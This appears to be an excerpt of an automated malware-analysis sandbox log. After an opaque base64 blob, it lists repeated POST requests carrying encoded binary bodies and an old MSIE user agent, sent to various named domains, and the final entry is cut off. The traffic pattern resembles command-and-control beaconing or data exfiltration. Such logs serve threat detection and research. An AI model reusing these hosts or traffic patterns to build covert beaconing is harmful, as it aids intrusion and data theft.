WFKjn7QazlgtApBbDwYeeQd4WPys4SE4KHvi5I8o0oqc5TD1cJSFXupUJugALfprSK8tEkMqilbXj4mo0uZOB/EArp8F+0mBoURCuguM17P1LgVP/fegIW8paLPb/3wJBZF1ZPfvYgZRXJ9WyFwbXQHj7PwObSqe5+4NCIi53MSWHievevB1rjA9V730mJR8EvmTnGHhNupf00A9MvkbRej1yvTSlL3RhXyc9a/Vt7i/8tCHzefbkVWwN7FKlkjZscqvFCfOjgbQGOkE3i7FFRGvbvE6ZbWx0QROJ2WOTZGpWDgLSlLPEZoZi6d3M3TNocsq/TtaYG1JyXZYcqrEkl+qbtNLqvdCf4Garl5QeUuMILdP0CWwR9SRRKIcZFszQWbKU+pXNgrGjdvCuewXsi4EzH2FFYOPlFDYlsOgBkgnBCcL6PUCgwZa4Xxt1xH8gSxFzPkdFMpJLmGEE7ftQh8bN4RO/mbZ6jKRps2nHLKnu8gXpuyY5zXInt7C1WDC47ZPZbXriMkc9T7nr7BNAjNSTUkPFtHFrTw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.speelhal.netCache-Control: no-cacheData Raw: 68 30 42 67 55 75 45 34 33 46 68 47 74 65 77 34 51 48 78 41 44 4c 71 54 57 72 33 66 73 31 73 72 70 54 56 68 67 6d 5a 45 4e 79 52 6a 74 43 4a 2b 2b 39 30 52 70 68 36 4a 66 70 4b 37 42 70 4a 42 66 49 35 56 50 59 64 31 6d 74 38 37 45 4b 51 32 65 31 37 57 43 4f 55 33 6f 42 5a 6b 73 34 34 7a 49 77 6b 6b 34 71 4d 61 4b 36 35 42 45 2f 30 4b 68 71 57 76 6b 66 58 75 63 74 51 33 34 51 38 59 6e 32 61 7a 32 36 33 4a 75 2b 76 75 35 42 58 4f 6a 72 77 74 45 4e 79 49 2b 55 6a 2b 6a 67 7a 64 6b 75 78 36 58 4d 76 6c 34 43 62 4c 58 42 77 45 48 71 71 43 78 35 70 66 75 38 77 36 71 57 43 30 78 72 38 62 6b 39 78 64 72 65 71 2b 63 37 53 57 32 2f 45 78 55 42 48 79 6f 46 49 5a 61 42 72 32 41 50 52 48 34 75 49 7a 72 50 46 6b 65 35 45 42 4e 6d 30 30 30 38 6f 70 71 4d 63 74 47 55 64 59 59 4f 6a 71 46 4b 54 58 72 6f 4d 31 7a 75 2f 50 31 6e 64 6a 77 77 67 6c 41 47 4c 77 30 61 78 65 77 33 38 66 4c 4c 4c 65 51 48 65 54 7a 4f 58 74 72 58 58 49 47 75 77 45 36 72 30 79 4a 4c 34 54 35 73 33 6f 59 6b 39 49 6f 48 2b 39 57 76 4c 47 58 4c 48 44 4f 54 2b 45 34 42 4d 37 53 2b 58 57 7a 34 6d 66 56 6d 70 49 68 5a 78 4a 31 61 39 4c 4c 55 33 6d 53 66 4f 67 42 32 38 70 37 6b 48 49 46 59 37 51 4c 46 71 5a 42 66 2f 61 4d 39 6b 61 47 56 41 32 72 31 53 41 37 78 2f 54 43 4e 6c 47 54 4b 6a 54 54 73 36 65 65 45 33 56 2b 74 49 65 32 6b 64 58 68 79 64 71 6e 41 57 79 50 71 53 67 75 48 58 52 53 47 2b 49 37 36 62 53 33 5a 36 41 43 53 77 34 73 43 4a 4f 73 59 57 65 2f 6d 55 54 69 35 6d 59 46 68 42 49 77 77 69 41 43 45 7a 4e 51 71 56 65 61 45 46 4a 66 35 44 61 54 6f 48 30 5a 62 63 72 38 79 35 4f 65 66 6e 65 44 67 78 64 42 31 31 6f 67 79 71 38 7a 2b 72 41 68 50 64 4e Data Ascii: h0BgUuE43FhGtew4QHxADLqTWr3fs1srpTVhgmZENyRjtCJ++90Rph6JfpK7BpJBfI5VPYd1mt87EKQ2e17WCOU3oBZks44zIwkk4qMaK65BE/0KhqWvkfXuctQ34Q8Yn2az263Ju+vu5BXOjrwtENyI+Uj+jgzdkux6XMvl4CbLXBwEHqqCx5pfu8w6qWC0xr8bk9xdreq+c7SW2/ExUBHyoFIZaBr2APRH4uIzrPFke5EBNm0008opqMctGUdYYOjqFKTXroM1zu/P1ndjwwglAGLw0axew38fLLLeQHeTzOXtrXXIGuwE6r0yJL4T5s3oYk9IoH+9WvLGXLHDOT+E4BM7S+XWz4mfVmpIhZxJ1a9LLU3mSfOgB28p7kHIFY7QLFqZBf/aM9kaGVA2r1SA7x/TCNlGTKjTTs6eeE3V+tIe2kdXhydqnAWyPqSguHXRSG+I76bS3Z6ACSw4sCJOsYWe/mUTi5mYFhBIwwiACEzNQqVeaEFJf5DaToH0Zbcr8y5OefneDgxdB11ogyq8z+rAhPdN
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.snugpak.comCache-Control: no-cacheCookie: cart_currency=GBP; _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 4b 2f 4b 52 77 57 49 75 79 77 33 78 77 64 59 63 31 56 72 4e 61 2b 58 39 6a 46 72 79 6f 64 41 41 74 71 49 37 4d 44 54 77 31 78 41 59 37 6d 71 6c 47 43 6a 6d 79 79 6a 57 77 66 5a 79 6b 44 4c 79 59 77 6e 69 4c 78 4b 2f 31 51 74 67 74 37 4a 58 50 61 62 5a 70 65 34 4d 44 4e 35 61 55 46 6d 2b 4a 46 76 66 4b 47 44 31 62 73 42 35 58 77 50 75 57 6a 39 77 37 65 75 7a 6c 61 34 2b 34 71 69 58 7a 76 7a 74 74 57 30 6e 45 31 55 65 7a 71 49 65 73 52 59 66 4f 63 51 6f 62 64 71 45 77 55 4a 6d 74 30 41 32 70 39 64 4b 73 4b 7a 4a 2f 74 76 31 38 72 35 32 4b 73 46 34 43 4d 41 78 75 72 66 42 36 34 64 4b 58 6d 2f 69 63 53 48 34 47 2f 51 71 49 32 7a 7a 30 62 4f 68 55 49 36 67 48 73 72 6e 37 72 49 6e 4d 77 46 30 42 58 6e 4e 53 61 51 5a 64 48 56 77 42 4e 34 4c 4c 38 58 2f 52 44 2b 6c 6d 47 61 32 6a 45 76 6c 6c 41 4f 72 72 48 4b 5a 72 46 39 6c 49 6b 33 64 78 77 37 48 42 4c 45 35 6d 69 2f 55 59 46 6a 6a 46 63 45 58 6c 77 67 37 7a 59 6e 4f 63 67 42 72 6f 79 49 67 78 78 68 4f 4f 59 66 37 49 37 71 4f 73 63 74 4c 53 72 78 56 67 61 39 4e 72 49 51 70 36 59 56 4f 51 62 64 75 47 74 4a 53 69 4d 42 64 48 4c 4c 47 68 56 45 39 50 6a 67 34 37 63 4a 6c 33 63 46 53 71 31 4c 6e 57 48 5a 5a 57 77 77 56 5a 2b 79 33 72 7a 74 62 37 41 4e 2f 4f 36 39 47 51 39 37 35 4c 37 58 31 65 63 77 2b 7a 76 54 45 79 36 63 67 70 38 50 47 4e 76 51 4d 2b 32 72 2f 51 71 63 32 39 78 2b 73 7a 51 41 44 54 63 72 74 37 65 78 74 78 30 49 45 73 39 4e 67 78 57 38 57 71 70 53 42 32 79 4a 39 56 70 30 61 4e 72 50 37 78 43 4a 73 2f 78 57 78 6d 71 7a 39 38 31 59 62 75 59 78 2f 5a 42 56 79 68 59 6f 38 64 39 4d 50 63 35 65 6b 56 51 66 64 47 41 3d 3d Data Ascii: K/KRwWIuyw3xwdYc1VrNa+X9jFryodAAtqI7MDTw1xAY7mqlGCjmyyjWwfZykDLyYwniLxK/1Qtgt7JXPabZpe4MDN5aUFm+JFvfKGD1bsB5XwPuWj9w7euzla4+4qiXzvzttW0nE1UezqIesRYfOcQobdqEwUJmt0A2p9dKsKzJ/tv18r52KsF4CMAxurfB64dKXm/icSH4G/QqI2zz0bOhUI6gHsrn7rInMwF0BXnNSaQZdHVwBN4LL8X/RD+lmGa2jEvllAOrrHKZrF9lIk3dxw7HBLE5mi/UYFjjFcEXlwg7zYnOcgBroyIgxxhOOYf7I7qOsctLSrxVga9NrIQp6YVOQbduGtJSiMBdHLLGhVE9Pjg47cJl3cFSq1LnWHZZWwwVZ+y3rztb7AN/O69GQ975L7X1ecw+zvTEy6cgp8PGNvQM+2r/Qqc29x+szQADTcrt7extx0IEs9NgxW8WqpSB2yJ9Vp0aNrP7xCJs/xWxmqz981YbuYx/ZBVyhYo8d9MPc5ekVQfdGA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.holleman.usCache-Control: no-cacheData Raw: 62 46 59 6f 69 78 47 2b 56 67 36 5a 58 79 66 41 73 47 41 36 46 6d 71 38 6d 51 58 50 4b 49 39 66 31 66 57 6c 66 6a 39 41 4c 70 2f 32 47 77 73 7a 34 56 6a 33 58 6d 54 50 46 47 63 66 75 34 34 6a 64 6b 4e 41 52 67 38 7a 4d 48 47 79 35 6f 72 64 68 2b 4f 2f 64 4e 6a 4f 4e 2f 4b 51 57 62 32 73 47 6e 42 52 37 72 31 33 35 4e 68 6a 37 66 4d 63 41 68 6c 56 47 44 61 41 45 30 51 49 58 32 62 67 6e 49 6c 6b 31 39 35 71 53 66 52 42 4d 36 37 41 30 2b 70 57 4f 47 6b 71 5a 58 68 65 68 2f 4a 42 77 6c 5a 75 7a 61 78 4a 6a 55 68 48 68 64 75 66 6e 38 72 64 44 61 6e 6b 78 52 43 67 6a 5a 2b 66 33 6f 73 6f 50 47 63 6a 4e 6a 78 45 2f 4e 64 33 79 76 4a 59 4f 51 71 52 33 32 6e 31 64 30 68 78 62 64 6a 49 56 48 4f 65 4a 4c 77 70 34 6a 75 4d 48 5a 48 50 46 6f 6e 4e 56 54 50 39 4b 66 4b 57 58 64 68 5a 47 64 33 41 6c 6b 36 72 51 6e 63 68 32 65 63 7a 6f 4b 79 4b 4e 34 4e 6c 53 73 6c 42 6b 43 77 31 2f 54 35 32 67 63 71 65 6f 46 68 46 75 76 76 34 4c 34 2b 70 78 68 50 44 64 35 67 4d 61 34 50 35 48 68 47 52 33 38 72 49 31 33 4a 72 6a 52 6e 51 58 37 46 41 6e 49 31 31 58 35 71 33 74 45 35 38 7a 37 4e 4a 32 71 46 6f 58 74 73 6c 78 33 59 41 57 75 2b 43 68 69 63 65 31 57 79 70 72 33 70 64 46 4b 5a 30 48 32 63 2b 4d 42 4c 54 6e 63 46 6a 63 44 4c 66 6d 54 64 53 52 4f 73 39 77 41 78 2b 77 70 46 6c 2b 4b 56 30 4e 4f 64 42 76 4b 57 49 77 6f 33 71 57 73 36 59 78 51 63 4b 67 51 56 6a 75 49 58 54 31 56 33 4c 39 47 37 57 39 5a 33 57 49 4b 67 61 37 57 42 36 62 2b 79 49 73 6e 73 37 37 5a 35 49 44 39 42 68 35 5a 2f 55 6c 42 6a 35 61 42 6f 6a 71 55 6f 48 37 4a 41 57 49 2b 64 37 5a 4a 74 36 50 34 63 48 65 78 2f 51 6c 67 3d 3d Data Ascii: bFYoixG+Vg6ZXyfAsGA6Fmq8mQXPKI9f1fWlfj9ALp/2Gwsz4Vj3XmTPFGcfu44jdkNARg8zMHGy5ordh+O/dNjON/KQWb2sGnBR7r135Nhj7fMcAhlVGDaAE0QIX2bgnIlk195qSfRBM67A0+pWOGkqZXheh/JBwlZuzaxJjUhHhdufn8rdDankxRCgjZ+f3osoPGcjNjxE/Nd3yvJYOQqR32n1d0hxbdjIVHOeJLwp4juMHZHPFonNVTP9KfKWXdhZGd3Alk6rQnch2eczoKyKN4NlSslBkCw1/T52gcqeoFhFuvv4L4+pxhPDd5gMa4P5HhGR38rI13JrjRnQX7FAnI11X5q3tE58z7NJ2qFoXtslx3YAWu+Chice1Wypr3pdFKZ0H2c+MBLTncFjcDLfmTdSROs9wAx+wpFl+KV0NOdBvKWIwo3qWs6YxQcKgQVjuIXT1V3L9G7W9Z3WIKga7WB6b+yIsns77Z5ID9Bh5Z/UlBj5aBojqUoH7JAWI+d7ZJt6P4cHex/Qlg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 6e 31 6a 76 49 57 32 51 37 77 30 4d 66 79 4b 70 5a 4c 62 4a 66 79 61 76 4e 66 56 62 49 50 58 37 38 64 2b 42 30 31 6c 56 36 58 61 53 52 45 53 54 69 64 61 65 61 6d 66 30 62 69 6d 49 55 31 4a 70 47 2f 4d 31 4f 59 50 55 33 75 45 6e 4d 67 78 4e 4e 65 39 49 49 34 68 38 31 55 41 4b 7a 7a 2f 34 4c 56 65 57 48 30 4e 61 44 36 41 6b 30 37 62 5a 38 79 42 52 37 54 4b 78 6a 79 46 4e 46 5a 65 56 31 5a 78 53 6d 61 79 4a 67 4c 6f 39 43 32 79 51 61 65 36 50 69 74 39 62 64 52 31 2f 53 53 73 32 34 45 31 37 6f 4e 4d 70 37 30 77 44 54 53 6f 31 70 77 4a 6f 30 52 35 5a 57 6f 71 30 77 68 53 73 32 55 67 77 6d 74 6a 4d 49 79 72 44 5a 47 6e 4a 38 43 76 71 37 50 39 7a 54 35 52 51 67 30 66 76 31 56 56 4b 2f 35 37 68 50 37 46 47 45 4e 71 65 56 65 56 79 45 6f 56 41 7a 34 67 69 49 76 79 68 79 37 62 47 6b 6e 62 45 51 45 62 70 2f 6a 69 6a 76 30 51 32 68 45 45 44 6f 65 38 78 72 76 35 37 79 4c 49 67 42 75 79 73 35 4b 4a 45 56 48 44 4f 53 4e 79 71 45 43 4c 5a 49 39 47 35 65 38 78 68 7a 50 39 2f 59 36 31 36 33 6b 37 45 7a 51 57 73 31 65 41 4a 71 70 6c 48 4d 78 6a 39 72 43 77 62 33 33 6b 37 2f 35 38 44 32 56 4c 33 76 63 42 4a 77 35 62 76 2b 35 66 69 4b 45 52 34 37 47 67 39 68 78 4d 59 64 61 36 55 73 61 32 4b 48 43 75 4e 6f 53 55 65 4c 6f 56 52 4c 56 71 6b 73 56 35 68 6b 6b 43 33 54 33 76 55 57 42 49 43 53 51 70 37 6a 54 7a 35 36 55 46 46 45 6f 4c 79 33 68 50 75 54 71 6b 2f 62 35 54 76 53 53 62 53 43 4a 54 63 44 59 61 6e 50 6c 6b 4b 30 6d 6c 70 64 75 66 73 54 73 77 6a 73 38 36 50 6b 70 52 74 47 39 48 6f 59 4d 4e 52 63 37 30 4d 59 4b 73 6b 54 33 54 4a 44 57 64 6a 75 57 55 39 47 5a 35 6b 31 65 45 46 55 6c 2b 4e 4e 39 50 59 36 32 37 69 64 6c 4c 4f 51 69 4c 30 4c 72 6a 67 44 70 30 3d Data Ascii: n1jvIW2Q7w0MfyKpZLbJfyavNfVbIPX78d+B01lV6XaSRESTidaeamf0bimIU1JpG/M1OYPU3uEnMgxNNe9II4h81UAKzz/4LVeWH0NaD6Ak07bZ8yBR7TKxjyFNFZeV1ZxSmayJgLo9C2yQae6Pit9bdR1/SSs24E17oNMp70wDTSo1pwJo0R5ZWoq0whSs2UgwmtjMIyrDZGnJ8Cvq7P9zT5RQg0fv1VVK/57hP7FGENqeVeVyEoVAz4giIvyhy7bGknbEQEbp/jijv0Q2hEEDoe8xrv57yLIgBuys5KJEVHDOSNyqECLZI9G5e8xhzP9/Y6163k7EzQWs1eAJqplHMxj9rCwb33k7/58D2VL3vcBJw5bv+5fiKER47Gg9hxMYda6Usa2KHCuNoSUeLoVRLVqksV5hkkC3T3vUWBICSQp7jTz56UFFEoLy3hPuTqk/b5TvSSbSCJTcDYanPlkK0mlpdufsTswjs86PkpRtG9HoYMNRc70MYKskT3TJDWdjuWU9GZ5k1eEFUl+NN9PY627idlLOQiL0LrjgDp0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.stnic.co.ukCache-Control: no-cacheData Raw: 59 5a 36 53 51 61 6c 4e 37 46 69 53 6c 49 53 43 65 44 72 68 66 4d 49 72 4d 42 4e 48 72 49 39 36 37 57 72 46 36 4b 75 43 66 35 33 59 36 58 51 47 6d 37 72 76 58 6c 30 6d 30 66 62 53 4e 42 59 49 52 7a 35 47 71 73 78 39 7a 35 45 48 70 6a 36 66 65 4c 4b 4f 61 46 44 6d 6c 59 68 72 50 33 57 67 61 4d 33 79 57 64 6a 76 6a 6d 4a 61 75 6e 61 70 6b 2b 76 30 30 75 4a 2b 50 53 44 52 37 2b 58 32 48 4a 50 72 6e 4f 6b 50 31 55 6c 4b 50 51 6a 33 4c 49 44 73 50 4b 43 42 32 55 66 66 63 48 45 38 77 47 67 39 2f 78 41 37 4e 52 44 53 4e 45 77 7a 46 6e 56 77 39 6f 76 6c 51 34 4b 76 34 53 6f 64 51 79 68 52 51 74 5a 36 2f 4e 7a 50 73 58 71 4c 4a 49 7a 53 4b 34 39 4e 6d 56 64 78 2b 78 46 56 76 77 69 44 33 39 64 6f 37 66 49 39 49 33 6f 59 57 37 55 38 36 48 46 4e 6b 4b 38 43 78 6c 58 39 53 71 6a 34 67 34 53 2f 70 63 4b 64 49 74 69 45 72 31 71 2f 69 74 75 51 71 46 75 41 34 37 50 74 41 61 4d 31 6e 76 76 6c 52 54 52 56 53 74 65 69 65 55 6c 4c 34 53 31 71 31 74 46 78 2b 6e 45 54 35 6d 50 4b 5a 35 59 46 6c 6c 63 56 6b 34 56 62 4f 53 42 77 6f 4f 6e 79 44 36 31 77 35 4e 35 74 6a 70 30 38 46 41 50 6f 48 65 4f 33 4b 4b 53 65 72 33 55 4d 57 5a 75 58 76 2f 78 68 4e 6c 7a 77 63 2b 4f 59 5a 45 39 34 68 33 72 33 59 43 74 43 4b 6f 75 42 78 76 6c 48 59 39 37 4d 48 37 72 4b 71 34 4b 53 68 39 49 43 44 4c 6d 73 54 55 6a 39 49 6e 36 38 72 59 4c 53 58 6a 2f 69 39 41 6d 4c 74 6e 49 55 45 47 53 35 30 34 6d 51 37 79 4b 41 69 59 36 4b 56 47 70 59 4c 62 7a 49 59 72 44 41 64 35 77 69 34 52 37 66 5a 52 66 2f 56 43 6e 37 67 68 4a 76 54 51 78 4a 4a 62 57 66 4c 73 2f 43 50 37 44 72 57 45 33 37 4e 69 76 6d 6e 31 45 4d 4f 39 66 68 7a 42 69 37 47 72 6a 73 42 75 50 2b 4f 58 34 37 4e 72 79 33 70 61 47 6f 39 78 65 30 46 70 44 38 6f 2f 70 62 4c 6e 53 74 46 71 58 64 39 74 61 5a 5a 64 30 6a 5a 51 3d 3d Data Ascii: YZ6SQalN7FiSlISCeDrhfMIrMBNHrI967WrF6KuCf53Y6XQGm7rvXl0m0fbSNBYIRz5Gqsx9z5EHpj6feLKOaFDmlYhrP3WgaM3yWdjvjmJaunapk+v00uJ+PSDR7+X2HJPrnOkP1UlKPQj3LIDsPKCB2UffcHE8wGg9/xA7NRDSNEwzFnVw9ovlQ4Kv4SodQyhRQtZ6/NzPsXqLJIzSK49NmVdx+xFVvwiD39do7fI9I3oYW7U86HFNkK8CxlX9Sqj4g4S/pcKdItiEr1q/ituQqFuA47PtAaM1nvvlRTRVSteieUlL4S1q1tFx+nET5mPKZ5YFllcVk4VbOSBwoOnyD61w5N5tjp08FAPoHeO3KKSer3UMWZuXv/xhNlzwc+OYZE94h3r3YCtCKouBxvlHY97MH7rKq4KSh9ICDLmsTUj9In68rYLSXj/i9AmLtnIUEGS504mQ7yKAiY6KVGpYLbzIYrDAd5wi4R7fZRf/VCn7ghJvTQxJJbWfLs/CP7DrWE37Nivmn1EMO9fhzBi7GrjsBuP+OX47Nry3paGo9xe0FpD8o/pbLnStFqXd9taZZd0jZQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 6d 68 48 38 4f 32 70 76 39 46 68 4b 34 56 4f 43 54 64 65 57 42 69 33 4d 35 37 32 61 6d 36 56 66 50 72 41 50 41 52 52 45 56 41 4e 6d 68 57 73 7a 4b 35 4d 77 59 44 48 4a 4f 48 42 54 6f 6d 2f 72 4f 4f 61 31 68 30 4e 41 58 33 66 66 46 49 49 58 4d 39 52 78 4d 61 39 49 6b 4d 45 31 61 55 43 53 6e 59 7a 6e 65 34 30 36 33 61 68 72 64 75 6f 4d 30 64 30 54 48 2b 44 53 65 59 46 48 52 70 4e 76 75 38 35 61 64 2b 77 62 30 6a 34 73 68 49 75 70 77 64 54 57 6b 48 36 32 7a 31 4a 4d 41 63 30 4e 4a 6b 7a 35 53 41 2b 63 5a 66 6c 6a 38 48 2b 4b 74 6e 63 63 35 4a 67 4a 50 6a 5a 50 45 75 36 56 69 33 35 41 2b 53 78 57 78 31 67 46 2b 69 50 35 6d 53 48 6b 56 53 6a 72 43 4a 73 36 2f 76 76 74 51 6a 70 6f 6b 4f 75 4d 4d 78 4e 45 4c 6b 64 53 52 33 64 48 6f 68 63 2f 44 62 47 6d 35 4b 4a 4e 48 43 66 39 74 4a 53 32 72 70 32 7a 74 4c 78 79 58 68 4a 4e 4d 2b 63 30 2f 37 39 33 34 4e 71 2b 6a 70 48 61 70 68 44 65 58 42 69 64 4d 79 2f 44 70 51 42 49 30 54 5a 50 52 4c 2b 6c 70 72 69 36 31 4b 63 53 2b 4a 68 55 35 55 59 61 2f 66 49 7a 61 58 7a 46 68 37 4a 63 48 7a 69 34 56 58 69 78 47 53 5a 39 73 39 67 6c 4c 6f 48 66 50 65 4a 78 47 53 78 6e 7a 6b 44 69 4e 6f 58 6e 54 2b 2f 65 70 48 33 42 68 61 47 6b 45 45 4a 55 72 34 48 66 30 67 59 69 4a 39 48 7a 78 43 63 33 32 6c 51 63 32 79 43 74 37 65 4f 47 63 45 2b 4d 70 56 34 63 4c 61 5a 2f 45 6b 34 6d 30 67 4a 6f 39 6e 55 59 6f 4c 32 2f 58 33 72 73 35 57 76 6c 46 76 6a 2b 45 6f 49 67 56 41 44 72 34 6b 77 59 71 73 70 4b 34 4e 30 30 75 59 72 36 37 70 54 70 4b 53 39 39 58 4d 37 42 71 53 49 6a 58 63 69 78 2b 75 78 32 61 51 4e 63 45 63 31 53 47 36 6a 43 78 70 64 6f 68 57 43 42 4e 72 4c 67 63 54 75 69 75 79 6f 3d Data Ascii: mhH8O2pv9FhK4VOCTdeWBi3M572am6VfPrAPARREVANmhWszK5MwYDHJOHBTom/rOOa1h0NAX3ffFIIXM9RxMa9IkME1aUCSnYzne4063ahrduoM0d0TH+DSeYFHRpNvu85ad+wb0j4shIupwdTWkH62z1JMAc0NJkz5SA+cZflj8H+Ktncc5JgJPjZPEu6Vi35A+SxWx1gF+iP5mSHkVSjrCJs6/vvtQjpokOuMMxNELkdSR3dHohc/DbGm5KJNHCf9tJS2rp2ztLxyXhJNM+c0/7934Nq+jpHaphDeXBidMy/DpQBI0TZPRL+lpri61KcS+JhU5UYa/fIzaXzFh7JcHzi4VXixGSZ9s9glLoHfPeJxGSxnzkDiNoXnT+/epH3BhaGkEEJUr4Hf0gYiJ9HzxCc32lQc2yCt7eOGcE+MpV4cLaZ/Ek4m0gJo9nUYoL2/X3rs5WvlFvj+EoIgVADr4kwYqspK4N00uYr67pTpKS99XM7BqSIjXcix+ux2aQNcEc1SG6jCxpdohWCBNrLgcTuiuyo=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 2f 70 38 55 64 52 68 4b 39 6c 69 79 6c 59 72 61 47 30 62 4f 48 67 75 78 78 2b 48 67 62 75 50 41 7a 46 61 73 4b 4c 53 6d 63 47 31 71 71 48 67 55 79 4d 66 65 2b 30 51 4a 4a 47 74 38 2f 57 49 78 36 41 33 52 2b 79 31 71 71 56 33 76 4c 53 77 67 35 30 35 6c 69 36 65 30 58 6f 2f 43 30 71 66 66 51 36 38 75 77 78 78 73 72 6d 58 42 65 77 67 31 45 44 6f 53 42 49 76 45 38 38 50 4b 41 6f 44 50 4e 4c 50 43 68 68 42 54 39 56 37 42 4f 69 64 34 41 6c 55 66 75 79 52 72 35 36 31 55 32 4f 75 71 39 65 67 38 75 6b 4f 49 77 6f 6f 5a 51 6c 5a 38 44 45 2f 6b 41 6c 6f 53 41 52 70 38 32 79 6b 53 65 73 47 6e 52 2f 36 6d 45 39 47 68 47 59 55 51 38 53 4d 36 6d 69 77 35 33 30 6b 67 38 71 48 6f 30 5a 4a 74 47 79 6b 37 75 57 32 72 33 59 35 47 75 4e 41 57 4e 62 71 46 59 45 53 47 30 52 4d 71 79 77 71 74 65 64 79 34 44 6f 56 43 55 35 34 6f 69 4e 39 5a 72 6d 6d 65 43 4e 38 2f 72 6b 57 44 64 57 6b 72 2b 47 68 63 74 77 62 44 42 6b 46 7a 30 73 79 49 4c 54 4c 4a 33 33 43 32 30 2b 6d 30 55 46 72 30 65 55 38 53 45 5a 42 2b 79 56 47 79 6c 56 64 58 67 44 74 51 32 33 6f 7a 2b 52 41 6b 6a 78 56 39 51 41 52 53 4a 6b 46 55 61 47 70 6c 67 59 4e 6e 34 73 68 66 66 77 55 7a 63 2b 7a 6a 41 37 68 65 52 72 71 46 5a 4a 42 37 35 55 6b 76 47 6b 55 47 6d 63 55 65 63 4d 65 6a 31 6a 64 71 42 6c 47 51 41 45 37 52 79 51 45 4a 74 73 45 42 66 7a 6f 51 55 35 69 50 79 63 6b 70 59 79 6f 79 79 64 66 2b 39 34 4f 67 73 43 5a 6b 6b 43 47 73 76 30 4e 53 59 69 52 78 34 4f 68 6e 37 72 48 66 6e 4d 74 67 4b 32 75 46 61 65 41 75 78 4d 49 32 6d 5a 37 5a 37 31 7a 51 39 63 32 4d 72 58 61 44 41 64 55 56 6a 63 45 49 73 6b 5a 4f 52 52 72 44 59 4f 78 4e 74 6b 61 76 41 54 36 6f 6b 35 37 36 69 61 47 4c 30 54 49 38 77 65 33 47 64 61 39 50 77 75 67 3d Data Ascii: /p8UdRhK9liylYraG0bOHguxx+HgbuPAzFasKLSmcG1qqHgUyMfe+0QJJGt8/WIx6A3R+y1qqV3vLSwg505li6e0Xo/C0qffQ68uwxxsrmXBewg1EDoSBIvE88PKAoDPNLPChhBT9V7BOid4AlUfuyRr561U2Ouq9eg8ukOIwooZQlZ8DE/kAloSARp82ykSesGnR/6mE9GhGYUQ8SM6miw530kg8qHo0ZJtGyk7uW2r3Y5GuNAWNbqFYESG0RMqywqtedy4DoVCU54oiN9ZrmmeCN8/rkWDdWkr+GhctwbDBkFz0syILTLJ33C20+m0UFr0eU8SEZB+yVGylVdXgDtQ23oz+RAkjxV9QARSJkFUaGplgYNn4shffwUzc+zjA7heRrqFZJB75UkvGkUGmcUecMej1jdqBlGQAE7RyQEJtsEBfzoQU5iPyckpYyoyydf+94OgsCZkkCGsv0NSYiRx4Ohn7rHfnMtgK2uFaeAuxMI2mZ7Z71zQ9c2MrXaDAdUVjcEIskZORRrDYOxNtkavAT6ok576iaGL0TI8we3Gda9Pwug=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cel-cpa.comCache-Control: no-cacheData Raw: 63 39 37 53 65 68 58 4b 2f 6c 67 4b 4d 69 46 31 2f 4a 54 77 41 51 34 66 75 36 38 6a 44 2f 71 4d 47 52 69 50 50 46 6b 55 42 68 5a 43 54 6c 34 39 2b 75 68 34 51 77 46 36 6a 4e 2b 58 73 51 48 6e 63 55 57 74 54 4e 36 33 54 4a 63 51 52 36 6b 2f 35 38 41 76 4c 4b 4a 55 78 51 4e 59 39 62 79 65 41 69 4f 74 59 2f 49 35 45 31 6d 56 49 65 66 6e 66 74 77 51 52 4d 75 58 70 30 4d 74 4a 4b 5a 52 52 67 38 6b 32 51 50 6e 6d 35 42 48 4e 33 2b 56 62 38 38 4a 41 6f 4b 44 70 2b 47 65 78 49 4d 43 7a 47 70 6a 51 75 33 45 4e 73 37 53 56 54 5a 6b 70 78 73 61 41 74 39 50 78 4f 72 59 51 69 79 